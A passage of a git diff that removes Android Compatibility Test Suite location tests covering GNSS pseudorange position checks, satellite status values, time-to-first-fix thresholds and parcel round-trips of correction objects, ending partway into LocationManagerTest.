- private void validatePseudorange(Collection<GnssMeasurement> measurements,
- SoftAssert softAssert, long timeInNs) {
- long largestReceivedSvTimeNanosTod = 0;
- // closest satellite has largest time (closest to now), as of nano secs of the day
- // so the largestReceivedSvTimeNanosTod will be the svTime we got from one of the GPS/GLONASS sv
- for(GnssMeasurement measurement : measurements) {
- long receivedSvTimeNanosTod = measurement.getReceivedSvTimeNanos()
- % TimeUnit.DAYS.toNanos(1);
- if (largestReceivedSvTimeNanosTod < receivedSvTimeNanosTod) {
- largestReceivedSvTimeNanosTod = receivedSvTimeNanosTod;
- }
- }
- for (GnssMeasurement measurement : measurements) {
- double threshold = PSEUDORANGE_THRESHOLD_IN_SEC;
- int constellationType = measurement.getConstellationType();
- // BEIDOU and QZSS's Orbit are higher, so the value of ReceivedSvTimeNanos should be small
- if (constellationType == GnssStatus.CONSTELLATION_BEIDOU
- || constellationType == GnssStatus.CONSTELLATION_QZSS) {
- threshold = PSEUDORANGE_THRESHOLD_BEIDOU_QZSS_IN_SEC;
- }
- double deltaiNanos = largestReceivedSvTimeNanosTod
- - (measurement.getReceivedSvTimeNanos() % TimeUnit.DAYS.toNanos(1));
- double deltaiSeconds = deltaiNanos * SECONDS_PER_NANO;
-
- softAssert.assertTrue("deltaiSeconds in Seconds.",
- timeInNs,
- "0.0 <= deltaiSeconds <= " + String.valueOf(threshold),
- String.valueOf(deltaiSeconds),
- (deltaiSeconds >= 0.0 && deltaiSeconds <= threshold));
- }
- }
-
- /*
- * Use pseudorange calculation library to calculate position then compare to location from
- * Location Manager.
- */
- @CddTest(requirement = "7.3.3")
- @AppModeFull(reason = "Flaky in instant mode")
- public void testPseudoPosition() throws Exception {
- // Checks if Gnss hardware feature is present, skips test (pass) if not,
- // and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
- // From android O, CTS tests should run in the lab with GPS signal.
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, true)) {
- return;
- }
-
- mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
- mTestLocationManager.requestLocationUpdates(mLocationListener);
-
- mMeasurementListener = new TestGnssMeasurementListener(TAG,
- MEASUREMENT_EVENTS_TO_COLLECT_COUNT, true);
- mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
-
- boolean success = mLocationListener.await();
-
- List<Location> receivedLocationList = mLocationListener.getReceivedLocationList();
- assertTrue("Time elapsed without getting enough location fixes."
- + " Possibly, the test has been run deep indoors."
- + " Consider retrying test outdoors.",
- success && receivedLocationList.size() > 0);
- Location locationFromApi = receivedLocationList.get(0);
-
- // Since we are checking the eventCount later, there is no need to check the return value
- // here.
- mMeasurementListener.await();
-
- List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
- int eventCount = events.size();
- Log.i(TAG, "Number of Gps Event received = " + eventCount);
-
- assertTrue("GnssMeasurementEvent count: expected > 0, received = " + eventCount,
- eventCount > 0);
-
- PseudorangePositionVelocityFromRealTimeEvents mPseudorangePositionFromRealTimeEvents
- = new PseudorangePositionVelocityFromRealTimeEvents();
- mPseudorangePositionFromRealTimeEvents.setReferencePosition(
- (int) (locationFromApi.getLatitude() * 1E7),
- (int) (locationFromApi.getLongitude() * 1E7),
- (int) (locationFromApi.getAltitude() * 1E7));
-
- Log.i(TAG, "Location from Location Manager"
- + ", Latitude:" + locationFromApi.getLatitude()
- + ", Longitude:" + locationFromApi.getLongitude()
- + ", Altitude:" + locationFromApi.getAltitude());
-
- // Ensure at least some calculated locations have a reasonably low uncertainty
- boolean someLocationsHaveLowPosUnc = false;
- boolean someLocationsHaveLowVelUnc = false;
-
- int totalCalculatedLocationCnt = 0;
- for (GnssMeasurementsEvent event : events) {
- // In mMeasurementListener.getEvents() we already filtered out events, at this point
- // every event will have at least 4 satellites in one constellation.
- mPseudorangePositionFromRealTimeEvents.computePositionVelocitySolutionsFromRawMeas(
- event);
- double[] calculatedLatLngAlt =
- mPseudorangePositionFromRealTimeEvents.getPositionSolutionLatLngDeg();
- // it will return NaN when there is no enough measurements to calculate the position
- if (Double.isNaN(calculatedLatLngAlt[0])) {
- continue;
- } else {
- totalCalculatedLocationCnt++;
- Log.i(TAG, "Calculated Location"
- + ", Latitude:" + calculatedLatLngAlt[0]
- + ", Longitude:" + calculatedLatLngAlt[1]
- + ", Altitude:" + calculatedLatLngAlt[2]);
-
- double[] posVelUncertainties =
- mPseudorangePositionFromRealTimeEvents.getPositionVelocityUncertaintyEnu();
-
- double horizontalPositionUncertaintyMeters =
- Math.sqrt(posVelUncertainties[0] * posVelUncertainties[0]
- + posVelUncertainties[1] * posVelUncertainties[1]);
-
- // Tolerate large offsets, when the device reports a large uncertainty - while also
- // ensuring (here) that some locations are produced before the test ends
- // with a reasonably low set of error estimates
- if (horizontalPositionUncertaintyMeters < LOW_ENOUGH_POSITION_UNCERTAINTY_METERS) {
- someLocationsHaveLowPosUnc = true;
- }
-
- // Root-sum-sqaure the WLS, and device generated 68%ile accuracies is a conservative
- // 68%ile offset (given likely correlated errors) - then this is scaled by
- // initially 3 sigma to give a high enough tolerance to make the test tolerant
- // enough of noise to pass reliably. Floor adds additional robustness in case of
- // small errors and small error estimates.
- double horizontalOffsetThresholdMeters = HORIZONTAL_OFFSET_SIGMA * Math.sqrt(
- horizontalPositionUncertaintyMeters * horizontalPositionUncertaintyMeters
- + locationFromApi.getAccuracy() * locationFromApi.getAccuracy())
- + HORIZONTAL_OFFSET_FLOOR_METERS;
-
- Location calculatedLocation = new Location("gps");
- calculatedLocation.setLatitude(calculatedLatLngAlt[0]);
- calculatedLocation.setLongitude(calculatedLatLngAlt[1]);
- calculatedLocation.setAltitude(calculatedLatLngAlt[2]);
-
- double horizontalOffset = calculatedLocation.distanceTo(locationFromApi);
-
- Log.i(TAG, "Calculated Location Offset: " + horizontalOffset
- + ", Threshold: " + horizontalOffsetThresholdMeters);
- assertTrue("Latitude & Longitude calculated from pseudoranges should be close to "
- + "those reported from Location Manager. Offset = "
- + horizontalOffset + " meters. Threshold = "
- + horizontalOffsetThresholdMeters + " meters ",
- horizontalOffset < horizontalOffsetThresholdMeters);
-
- //TODO: Check for the altitude offset
-
- // This 2D velocity uncertainty is conservatively larger than speed uncertainty
- // as it also contains the effect of bearing uncertainty at a constant speed
- double horizontalVelocityUncertaintyMps =
- Math.sqrt(posVelUncertainties[4] * posVelUncertainties[4]
- + posVelUncertainties[5] * posVelUncertainties[5]);
- if (horizontalVelocityUncertaintyMps < LOW_ENOUGH_VELOCITY_UNCERTAINTY_MPS) {
- someLocationsHaveLowVelUnc = true;
- }
-
- // Assume 1m/s uncertainty from API, for this test, if not provided
- float speedUncFromApiMps = locationFromApi.hasSpeedAccuracy()
- ? locationFromApi.getSpeedAccuracyMetersPerSecond()
- : HORIZONTAL_OFFSET_FLOOR_MPS;
-
- // Similar 3-standard deviation plus floor threshold as
- // horizontalOffsetThresholdMeters above
- double horizontalSpeedOffsetThresholdMps = HORIZONTAL_OFFSET_SIGMA * Math.sqrt(
- horizontalVelocityUncertaintyMps * horizontalVelocityUncertaintyMps
- + speedUncFromApiMps * speedUncFromApiMps)
- + HORIZONTAL_OFFSET_FLOOR_MPS;
-
- double[] calculatedVelocityEnuMps =
- mPseudorangePositionFromRealTimeEvents.getVelocitySolutionEnuMps();
- double calculatedHorizontalSpeedMps =
- Math.sqrt(calculatedVelocityEnuMps[0] * calculatedVelocityEnuMps[0]
- + calculatedVelocityEnuMps[1] * calculatedVelocityEnuMps[1]);
-
- Log.i(TAG, "Calculated Speed: " + calculatedHorizontalSpeedMps
- + ", Reported Speed: " + locationFromApi.getSpeed()
- + ", Threshold: " + horizontalSpeedOffsetThresholdMps);
- assertTrue("Speed (" + calculatedHorizontalSpeedMps + " m/s) calculated from"
- + " pseudoranges should be close to the speed ("
- + locationFromApi.getSpeed() + " m/s) reported from"
- + " Location Manager.",
- Math.abs(calculatedHorizontalSpeedMps - locationFromApi.getSpeed())
- < horizontalSpeedOffsetThresholdMps);
- }
- }
-
- assertTrue("Calculated Location Count should be greater than 0.",
- totalCalculatedLocationCnt > 0);
- assertTrue("Calculated Horizontal Location Uncertainty should at least once be less than "
- + LOW_ENOUGH_POSITION_UNCERTAINTY_METERS,
- someLocationsHaveLowPosUnc);
- assertTrue("Calculated Horizontal Velocity Uncertainty should at least once be less than "
- + LOW_ENOUGH_VELOCITY_UNCERTAINTY_MPS,
- someLocationsHaveLowVelUnc);
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssReflectingPlaneTest.java b/tests/tests/location/src/android/location/cts/GnssReflectingPlaneTest.java
deleted file mode 100644
index bfd9561..0000000
--- a/tests/tests/location/src/android/location/cts/GnssReflectingPlaneTest.java
+++ /dev/null
@@ -1,68 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssReflectingPlane;
-import android.os.Parcel;
-
-import junit.framework.TestCase;
-
-/** Unit tests for {@link GnssReflectingPlane}. */
-public class GnssReflectingPlaneTest extends GnssTestCase {
- public void testDescribeContents() {
- GnssReflectingPlane reflectingPlane = new GnssReflectingPlane.Builder().build();
- reflectingPlane.describeContents();
- }
-
- public void testWriteToParcel() {
- GnssReflectingPlane.Builder reflectingPlane = new GnssReflectingPlane.Builder();
- setTestValues(reflectingPlane);
- Parcel parcel = Parcel.obtain();
- reflectingPlane.build().writeToParcel(parcel, 0);
- parcel.setDataPosition(0);
- GnssReflectingPlane newReflectingPlane =
- GnssReflectingPlane.CREATOR.createFromParcel(parcel);
- verifyTestValues(newReflectingPlane);
- parcel.recycle();
- }
-
- public static void verifyTestValues(GnssReflectingPlane reflectingPlane) {
- assertEquals(37.386052, reflectingPlane.getLatitudeDegrees());
- assertEquals(-122.083853, reflectingPlane.getLongitudeDegrees());
- assertEquals(100.0, reflectingPlane.getAltitudeMeters());
- assertEquals(123.0, reflectingPlane.getAzimuthDegrees());
- }
-
- private static void setTestValues(GnssReflectingPlane.Builder reflectingPlane) {
- GnssReflectingPlane refPlane = generateTestReflectingPlane();
- reflectingPlane
- .setLatitudeDegrees(refPlane.getLatitudeDegrees())
- .setLongitudeDegrees(refPlane.getLongitudeDegrees())
- .setAltitudeMeters(refPlane.getAltitudeMeters())
- .setAzimuthDegrees(refPlane.getAzimuthDegrees());
- }
-
- public static GnssReflectingPlane generateTestReflectingPlane() {
- GnssReflectingPlane.Builder reflectingPlane =
- new GnssReflectingPlane.Builder()
- .setLatitudeDegrees(37.386052)
- .setLongitudeDegrees(-122.083853)
- .setAltitudeMeters(100.0)
- .setAzimuthDegrees(123.0);
- return reflectingPlane.build();
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssSingleSatCorrectionsTest.java b/tests/tests/location/src/android/location/cts/GnssSingleSatCorrectionsTest.java
deleted file mode 100644
index 3cbc5bb..0000000
--- a/tests/tests/location/src/android/location/cts/GnssSingleSatCorrectionsTest.java
+++ /dev/null
@@ -1,83 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssReflectingPlane;
-import android.location.cts.GnssReflectingPlaneTest;
-import android.location.GnssSingleSatCorrection;
-import android.location.GnssStatus;
-import android.os.Parcel;
-
-import junit.framework.TestCase;
-
-/** Unit tests for {@link GnssSingleSatCorrection}. */
-public class GnssSingleSatCorrectionsTest extends GnssTestCase {
- public void testDescribeContents() {
- GnssSingleSatCorrection singleSatCorrection = new GnssSingleSatCorrection.Builder().build();
- singleSatCorrection.describeContents();
- }
-
- public void testWriteToParcel() {
- GnssSingleSatCorrection.Builder singleSatCorrection = new GnssSingleSatCorrection.Builder();
- setTestValues(singleSatCorrection);
- Parcel parcel = Parcel.obtain();
- singleSatCorrection.build().writeToParcel(parcel, 0);
- parcel.setDataPosition(0);
- GnssSingleSatCorrection newSingleSatCorrection =
- GnssSingleSatCorrection.CREATOR.createFromParcel(parcel);
- verifyTestValues(newSingleSatCorrection);
- parcel.recycle();
- }
-
- public static void verifyTestValues(GnssSingleSatCorrection singleSatCorrection) {
- assertEquals(15, singleSatCorrection.getSingleSatelliteCorrectionFlags());
- assertEquals(GnssStatus.CONSTELLATION_GALILEO, singleSatCorrection.getConstellationType());
- assertEquals(12, singleSatCorrection.getSatelliteId());
- assertEquals(1575420000f, singleSatCorrection.getCarrierFrequencyHz());
- assertEquals(0.1f, singleSatCorrection.getProbabilityLineOfSight());
- assertEquals(10.0f, singleSatCorrection.getExcessPathLengthMeters());
- assertEquals(5.0f, singleSatCorrection.getExcessPathLengthUncertaintyMeters());
- GnssReflectingPlane reflectingPlane = singleSatCorrection.getReflectingPlane();
- GnssReflectingPlaneTest.verifyTestValues(reflectingPlane);
- }
-
- private static void setTestValues(GnssSingleSatCorrection.Builder singleSatCorrection) {
- GnssSingleSatCorrection singleSatCor = generateTestSingleSatCorrection();
- singleSatCorrection
- .setConstellationType(singleSatCor.getConstellationType())
- .setSatelliteId(singleSatCor.getSatelliteId())
- .setCarrierFrequencyHz(singleSatCor.getCarrierFrequencyHz())
- .setProbabilityLineOfSight(singleSatCor.getProbabilityLineOfSight())
- .setExcessPathLengthMeters(singleSatCor.getExcessPathLengthMeters())
- .setExcessPathLengthUncertaintyMeters(
- singleSatCor.getExcessPathLengthUncertaintyMeters())
- .setReflectingPlane(singleSatCor.getReflectingPlane());
- }
-
- public static GnssSingleSatCorrection generateTestSingleSatCorrection() {
- GnssSingleSatCorrection.Builder singleSatCorrection =
- new GnssSingleSatCorrection.Builder()
- .setConstellationType(GnssStatus.CONSTELLATION_GALILEO)
- .setSatelliteId(12)
- .setCarrierFrequencyHz(1575420000f)
- .setProbabilityLineOfSight(0.1f)
- .setExcessPathLengthMeters(10.0f)
- .setExcessPathLengthUncertaintyMeters(5.0f)
- .setReflectingPlane(GnssReflectingPlaneTest.generateTestReflectingPlane());
- return singleSatCorrection.build();
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssStatusCallbackTest.java b/tests/tests/location/src/android/location/cts/GnssStatusCallbackTest.java
deleted file mode 100644
index b785e1a..0000000
--- a/tests/tests/location/src/android/location/cts/GnssStatusCallbackTest.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssStatus;
-
-public class GnssStatusCallbackTest extends GnssTestCase {
- private static class MockCallback extends GnssStatus.Callback {
- }
-
- public void testAllMethodsExist() {
- GnssStatus.Callback callback = new MockCallback();
- callback.onStarted();
- callback.onFirstFix(10);
- callback.onSatelliteStatusChanged(null);
- callback.onStopped();
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssStatusTest.java b/tests/tests/location/src/android/location/cts/GnssStatusTest.java
deleted file mode 100644
index 1a9dbb1..0000000
--- a/tests/tests/location/src/android/location/cts/GnssStatusTest.java
+++ /dev/null
@@ -1,117 +0,0 @@
-package android.location.cts;
-
-import android.location.GnssStatus;
-import android.util.Log;
-
-public class GnssStatusTest extends GnssTestCase {
-
- private static final String TAG = "GnssStatusTest";
- private static final int LOCATION_TO_COLLECT_COUNT = 1;
- private static final int STATUS_TO_COLLECT_COUNT = 3;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mTestLocationManager = new TestLocationManager(getContext());
- }
-
- /**
- * Tests that one can listen for {@link GnssStatus}.
- */
- public void testGnssStatusChanges() throws Exception {
- // Checks if GPS hardware feature is present, skips test (pass) if not,
- // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
- return;
- }
-
- // Register Gps Status Listener.
- TestGnssStatusCallback testGnssStatusCallback =
- new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
- checkGnssChange(testGnssStatusCallback);
- }
-
- private void checkGnssChange(TestGnssStatusCallback testGnssStatusCallback)
- throws InterruptedException {
- mTestLocationManager.registerGnssStatusCallback(testGnssStatusCallback);
-
- TestLocationListener locationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
- mTestLocationManager.requestLocationUpdates(locationListener);
-
- boolean success = testGnssStatusCallback.awaitStart();
- success = success ? testGnssStatusCallback.awaitStatus() : false;
- success = success ? testGnssStatusCallback.awaitTtff() : false;
- mTestLocationManager.removeLocationUpdates(locationListener);
- success = success ? testGnssStatusCallback.awaitStop() : false;
- mTestLocationManager.unregisterGnssStatusCallback(testGnssStatusCallback);
-
- SoftAssert softAssert = new SoftAssert(TAG);
- softAssert.assertTrue(
- "Time elapsed without getting the right status changes."
- + " Possibly, the test has been run deep indoors."
- + " Consider retrying test outdoors.",
- success);
- softAssert.assertAll();
- }
-
- /**
- * Tests values of {@link GnssStatus}.
- */
- public void testGnssStatusValues() throws InterruptedException {
- // Checks if GPS hardware feature is present, skips test (pass) if not,
- // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
- return;
- }
- SoftAssert softAssert = new SoftAssert(TAG);
- // Register Gps Status Listener.
- TestGnssStatusCallback testGnssStatusCallback =
- new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
- checkGnssChange(testGnssStatusCallback);
- validateGnssStatus(testGnssStatusCallback.getGnssStatus(), softAssert);
- softAssert.assertAll();
- }
-
- /**
- * To validate the fields in GnssStatus class, the value is got from device
- * @param status, GnssStatus
- * @param softAssert, customized assert class.
- */
- private void validateGnssStatus(GnssStatus status, SoftAssert softAssert) {
- int sCount = status.getSatelliteCount();
- Log.i(TAG, "Total satellite:" + sCount);
- // total number of satellites for all constellation is less than 200
- softAssert.assertTrue("Satellite count test sCount : " + sCount , sCount < 200);
- for (int i = 0; i < sCount; ++i) {
- softAssert.assertTrue("azimuth_degrees: Azimuth in degrees: ",
- "0.0 <= X <= 360.0",
- String.valueOf(status.getAzimuthDegrees(i)),
- status.getAzimuthDegrees(i) >= 0.0 && status.getAzimuthDegrees(i) <= 360.0);
- TestMeasurementUtil.verifyGnssCarrierFrequency(softAssert, mTestLocationManager,
- status.hasCarrierFrequencyHz(i),
- status.hasCarrierFrequencyHz(i) ? status.getCarrierFrequencyHz(i) : 0F);
-
- softAssert.assertTrue("c_n0_dbhz: Carrier-to-noise density",
- "0.0 <= X <= 63",
- String.valueOf(status.getCn0DbHz(i)),
- status.getCn0DbHz(i) >= 0.0 &&
- status.getCn0DbHz(i) <= 63.0);
-
- softAssert.assertTrue("elevation_degrees: Elevation in Degrees :",
- "0.0 <= X <= 90.0",
- String.valueOf(status.getElevationDegrees(i)),
- status.getElevationDegrees(i) >= 0.0 && status.getElevationDegrees(i) <= 90.0);
-
- // in validateSvidSub, it will validate ConstellationType, svid
- // however, we don't have the event time in the current scope, pass in "-1" instead
- TestMeasurementUtil.validateSvidSub(softAssert, null,
- status.getConstellationType(i),status.getSvid(i));
-
- // For those function with boolean type return, just simply call the function
- // to make sure those function won't crash, also increase the test coverage.
- Log.i(TAG, "hasAlmanacData: " + status.hasAlmanacData(i));
- Log.i(TAG, "hasEphemerisData: " + status.hasEphemerisData(i));
- Log.i(TAG, "usedInFix: " + status.usedInFix(i));
- }
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssTestCase.java b/tests/tests/location/src/android/location/cts/GnssTestCase.java
deleted file mode 100644
index c7d6f77..0000000
--- a/tests/tests/location/src/android/location/cts/GnssTestCase.java
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.location.cts;
-
-import android.test.AndroidTestCase;
-
-/**
- * Base Test Case class for all Gnss Tests.
- */
-public abstract class GnssTestCase extends AndroidTestCase {
-
- // This is used to mark cts tests as CtsVerifier tests.
- private volatile boolean mCtsVerifierTest = false;
-
- protected static boolean YEAR_2017_CAPABILITY_ENFORCED = false;
-
- protected TestLocationManager mTestLocationManager;
-
- protected GnssTestCase() {
- }
-
- public void setTestAsCtsVerifierTest(boolean value) {
- mCtsVerifierTest = value;
- }
-
- public boolean isCtsVerifierTest() {
- return mCtsVerifierTest;
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssTtffTests.java b/tests/tests/location/src/android/location/cts/GnssTtffTests.java
deleted file mode 100644
index d614b72..0000000
--- a/tests/tests/location/src/android/location/cts/GnssTtffTests.java
+++ /dev/null
@@ -1,146 +0,0 @@
-package android.location.cts;
-
-import android.content.Context;
-import android.net.ConnectivityManager;
-import android.net.NetworkInfo;
-import android.os.SystemClock;
-import android.telephony.TelephonyManager;
-import android.util.Log;
-import com.android.compatibility.common.util.CddTest;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Tests for the ttff (time to the first fix) validating whether TTFF is
- * below the expected thresholds in differnt scenario
- */
-public class GnssTtffTests extends GnssTestCase {
-
- private static final String TAG = "GnssTtffTests";
- private static final int LOCATION_TO_COLLECT_COUNT = 1;
- private static final int STATUS_TO_COLLECT_COUNT = 3;
- private static final int AIDING_DATA_RESET_DELAY_SECS = 10;
- // Threshold values
- private static final int TTFF_HOT_TH_SECS = 5;
- private static final int TTFF_WITH_WIFI_CELLUAR_WARM_TH_SECS = 10;
- // The worst case we saw in the Nexus 6p device is 15sec,
- // adding 20% margin to the threshold
- private static final int TTFF_WITH_WIFI_ONLY_WARM_TH_SECS = 18;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mTestLocationManager = new TestLocationManager(getContext());
- }
-
- /**
- * Test the TTFF in the case where there is a network connection for both warm and hot start TTFF
- * cases.
- * We first test the "WARM" start where different TTFF thresholds are chosen based on network
- * connection (cellular vs Wifi). Then we test the "HOT" start where the type of network
- * connection should not matter hence one threshold is used.
- * @throws Exception
- */
- @CddTest(requirement="7.3.3")
- public void testTtffWithNetwork() throws Exception {
- ensureNetworkStatus();
- if (hasCellularData()) {
- checkTtffWarmWithWifiOn(TTFF_WITH_WIFI_CELLUAR_WARM_TH_SECS);
- }
- else {
- checkTtffWarmWithWifiOn(TTFF_WITH_WIFI_ONLY_WARM_TH_SECS);
- }
- checkTtffHotWithWifiOn(TTFF_HOT_TH_SECS);
- }
-
- /**
- * Test Scenario 1
- * Check whether TTFF is below the threshold on the warm start with Wifi ON
- * 1) Delete the aiding data.
- * 2) Get GPS, check the TTFF value
- * @param threshold, the threshold for the TTFF value
- */
- private void checkTtffWarmWithWifiOn(long threshold) throws Exception {
- SoftAssert softAssert = new SoftAssert(TAG);
- mTestLocationManager.sendExtraCommand("delete_aiding_data");
- Thread.sleep(TimeUnit.SECONDS.toMillis(AIDING_DATA_RESET_DELAY_SECS));
- checkTtffByThreshold("checkTtffWarmWithWifiOn",
- TimeUnit.SECONDS.toMillis(threshold), softAssert);
- softAssert.assertAll();
- }
-
- /**
- * Test Scenario 2
- * Check whether TTFF is below the threhold on the hot start with wifi ON
- * TODO(tccyp): to test the hot case with network connection off
- * @param threshold, the threshold for the TTFF value
- */
- private void checkTtffHotWithWifiOn(long threshold) throws Exception {
- SoftAssert softAssert = new SoftAssert(TAG);
- checkTtffByThreshold("checkTtffHotWithWifiOn",
- TimeUnit.SECONDS.toMillis(threshold), softAssert);
- softAssert.assertAll();
- }
-
- /**
- * Make sure the device has either wifi data or cellular connection
- */
- private void ensureNetworkStatus(){
- assertTrue("Device has to connect to Wifi or Cellular to complete this test.",
- TestUtils.isConnectedToWifiOrCellular(getContext()));
-
- }
-
- private boolean hasCellularData() {
- ConnectivityManager connManager = TestUtils.getConnectivityManager(getContext());
- NetworkInfo cellularNetworkInfo = connManager.getNetworkInfo(ConnectivityManager.TYPE_MOBILE);
- // check whether the cellular data is ON if the device has cellular capability
- if (cellularNetworkInfo == null) {
- Log.i(TAG, "This is a wifi only device.");
- return false;
- }
- TelephonyManager telephonyManager = (TelephonyManager) getContext().getApplicationContext()
- .getSystemService(getContext().TELEPHONY_SERVICE);
- if (!telephonyManager.isDataEnabled()) {
- Log.i(TAG, "Device doesn't have cellular data.");
- return false;
- }
- return true;
- }
-
- /*
- * Check whether TTFF is below the threshold
- * @param testName
- * @param threshold, the threshold for the TTFF value
- */
- private void checkTtffByThreshold(String testName,
- long threshold, SoftAssert softAssert) throws Exception {
- TestLocationListener networkLocationListener
- = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
- // fetch the networklocation first to make sure the ttff is not flaky
- mTestLocationManager.requestNetworkLocationUpdates(networkLocationListener);
- networkLocationListener.await();
-
- TestGnssStatusCallback testGnssStatusCallback =
- new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
- mTestLocationManager.registerGnssStatusCallback(testGnssStatusCallback);
-
- TestLocationListener locationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
- mTestLocationManager.requestLocationUpdates(locationListener);
-
-
- long startTimeMillis = SystemClock.elapsedRealtime();
- boolean success = testGnssStatusCallback.awaitTtff();
- long ttffTimeMillis = SystemClock.elapsedRealtime() - startTimeMillis;
-
- softAssert.assertTrue(
- "Test case:" + testName
- + ". Threshold exceeded without getting a location."
- + " Possibly, the test has been run deep indoors."
- + " Consider retrying test outdoors.",
- success);
- mTestLocationManager.removeLocationUpdates(locationListener);
- mTestLocationManager.unregisterGnssStatusCallback(testGnssStatusCallback);
- softAssert.assertTrue("Test case: " + testName +", TTFF should be less than " + threshold
- + " . In current test, TTFF value is: " + ttffTimeMillis, ttffTimeMillis < threshold);
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/LocationManagerTest.java b/tests/tests/location/src/android/location/cts/LocationManagerTest.java
deleted file mode 100644
index 89ee843..0000000
--- a/tests/tests/location/src/android/location/cts/LocationManagerTest.java
+++ /dev/null
@@ -1,1386 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.location.Criteria;
-import android.location.GnssStatus;
-import android.location.Location;
-import android.location.LocationListener;
-import android.location.LocationManager;
-import android.location.LocationProvider;
-import android.location.OnNmeaMessageListener;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.Looper;
-import android.os.SystemClock;
-import android.os.UserManager;
-import android.test.UiThreadTest;
-import android.util.Log;
-
-import java.util.List;
-
-/**
- * Requires the permissions
- * android.permission.ACCESS_MOCK_LOCATION to mock provider
- * android.permission.ACCESS_COARSE_LOCATION to access network provider
- * android.permission.ACCESS_FINE_LOCATION to access GPS provider
- * android.permission.ACCESS_LOCATION_EXTRA_COMMANDS to send extra commands to GPS provider
- */
-public class LocationManagerTest extends BaseMockLocationTest {
-
- private static final String TAG = "LocationManagerTest";
-
- private static final long TEST_TIME_OUT = 5000;
-
- private static final String TEST_MOCK_PROVIDER_NAME = "test_provider";
-
- private static final String UNKNOWN_PROVIDER_NAME = "unknown_provider";
-
- private static final String FUSED_PROVIDER_NAME = "fused";
-
- private LocationManager mManager;
-
- private Context mContext;
-
- private PendingIntent mPendingIntent;
-
- private TestIntentReceiver mIntentReceiver;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mContext = getInstrumentation().getTargetContext();
-
- mManager = (LocationManager) mContext.getSystemService(Context.LOCATION_SERVICE);
-
- // remove test provider if left over from an aborted run
- LocationProvider lp = mManager.getProvider(TEST_MOCK_PROVIDER_NAME);
- if (lp != null) {
- mManager.removeTestProvider(TEST_MOCK_PROVIDER_NAME);
- }
-
- addTestProvider(TEST_MOCK_PROVIDER_NAME);
- }
-
- /**
- * Helper method to add a test provider with given name.
